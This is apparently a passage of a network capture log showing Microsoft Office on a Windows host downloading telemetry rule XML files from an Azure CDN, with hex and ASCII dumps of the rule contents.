2024-11-30 21:53:38 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-30 21:53:38 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-30 21:53:38 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-30 21:53:38 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-30 21:53:38 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-30 21:53:38 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-30 21:53:38 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-30 21:53:38 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-30 21:53:38 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-30 21:53:38 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.9	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:40 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:40 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0a3cdbcf-401e-0016-597f-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215340Z-174f78459685m244hC1EWRgp2c00000011rg00000000m601 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:40 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.9	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:40 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:40 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 22636776-e01e-0003-4fa8-420fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215340Z-174f7845968qj8jrhC1EWRh41s00000011ug00000000nw8m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:40 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.9	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:40 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:40 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 748acc8f-d01e-0082-56a3-42e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215340Z-174f7845968vqt9xhC1EWRgten00000011y000000000mq81 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:40 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.9	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:40 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:40 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:40 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 6eac4bdd-a01e-006f-1c91-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215340Z-174f78459685726chC1EWRsnbg000000121000000000btth x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:40 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.9	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:40 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:40 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:40 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: dc0e4179-901e-005b-2991-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215340Z-174f7845968cpnpfhC1EWR3afc00000011q0000000005efz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:40 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.9	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:53:42 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:53:43 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:53:42 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: cdb469ae-c01e-0014-01b3-42a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215342Z-174f7845968psccphC1EWRuz9s00000012bg000000001z6u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:53:43 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.9	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
